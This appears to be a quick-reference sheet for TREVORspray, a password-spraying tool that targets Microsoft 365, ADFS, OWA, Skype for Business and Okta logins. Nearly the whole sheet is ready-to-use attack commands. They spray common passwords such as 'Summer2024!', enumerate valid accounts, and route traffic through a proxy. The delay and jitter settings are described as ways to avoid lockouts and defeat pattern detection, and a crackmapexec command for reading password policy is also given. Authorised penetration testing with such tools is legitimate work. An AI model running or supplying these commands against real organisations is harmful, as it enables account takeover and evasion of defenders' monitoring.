AeonDave TREVORspray
Modular, threaded password spraying tool for Microsoft/Azure/AD targets.
Quick Start
# Spray M365 with a single password
trevorspray -u users.txt -p "Summer2024!" --module msol
# Spray on-prem AD via ADFS
trevorspray -u users.txt -p "Password123" --module adfs -t https://adfs.target.com
# Enumerate valid users only (no password)
trevorspray -u users.txt --module msol --enum
Core Flags
| Flag | Description |
|---|---|
-u <file> |
Username file (or single username) |
-p <pass> |
Password to spray |
-P <file> |
Password list (spray each, with delay) |
--module <mod> |
Target module |
-t <url> |
Target URL (for ADFS/OWA modules) |
--threads <n> |
Threads (default 1) |
--delay <s> |
Delay between requests (seconds) |
--jitter <s> |
Random jitter added to delay |
--lockout-delay <s> |
Wait after potential lockout |
--enum |
Username enumeration only |
-o <file> |
Output file |
--reauth |
Re-authenticate after delay (for expired tokens) |
--proxy <url> |
Proxy |
Modules
| Module | Target |
|---|---|
msol |
Microsoft Online / Office 365 |
adfs |
Active Directory Federation Services |
owa |
Outlook Web Access |
lync |
Skype for Business |
okta |
Okta SSO |
Common Workflows
# Safe M365 spray — 1 attempt per 30 min to avoid lockouts
trevorspray -u users.txt -p "Spring2024!" --module msol --delay 1800 --jitter 60
# Enumerate valid M365 users (no lockout risk)
trevorspray -u users.txt --module msol --enum -o valid_users.txt
# ADFS spray with proxy
trevorspray -u users.txt -p "Password1" --module adfs -t https://sts.target.com \
--delay 60 --jitter 30 --proxy http://127.0.0.1:8080
# Multi-password spray with controlled delay
trevorspray -u valid_users.txt -P passwords.txt --module msol --delay 3600
Lockout Awareness
- Check password policy before spraying:
crackmapexec smb <dc> --pass-pol - Use
--delay 3600(1 hour) for environments with 1-attempt/hour lockout policies - Prefer
--enumfirst to reduce invalid user noise - Jitter prevents pattern detection:
--delay 1800 --jitter 300
Resources
| File | When to load |
|---|---|
references/lockout-policy.md |
Lockout policy detection, safe timing calculations, user enumeration techniques |